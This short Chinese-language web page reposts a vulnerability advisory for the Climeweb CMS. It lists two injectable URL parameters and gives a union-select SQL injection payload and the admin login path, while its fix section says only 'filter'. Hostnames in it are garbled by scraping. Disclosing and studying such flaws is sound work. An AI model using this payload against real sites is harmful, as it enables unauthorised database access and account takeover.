Climeweb盲注缺陷及修复 - 网站安全 - 自学php

 

标题: Climeweb Blind SQL Injection Vulnerability

作者: poach3r HdhCmsTest2cto测试数据

下载 地址: http://HdhCmsTestclimeweb测试数据/

测试平台: Windows XP SP3

 

测试:

 

http://HdhCmsTest2cto测试数据 /path/indux.php?id=[SQL]

 

http://HdhCmsTest2cto测试数据 /path/newsdetails.php?News_Id=[SQL]

 

示例:

 

http://HdhCmsTest2cto测试数据 /path/indux.php?id=-2+union+select+1,version(),3,4,5+admin--

 

# 管理登陆入口:

 

http://HdhCmsTest2cto测试数据 /path/admin/login.php

 

==========================================================================

修复：过滤

查看更多关于Climeweb盲注缺陷及修复 - 网站安全 - 自学php的详细内容...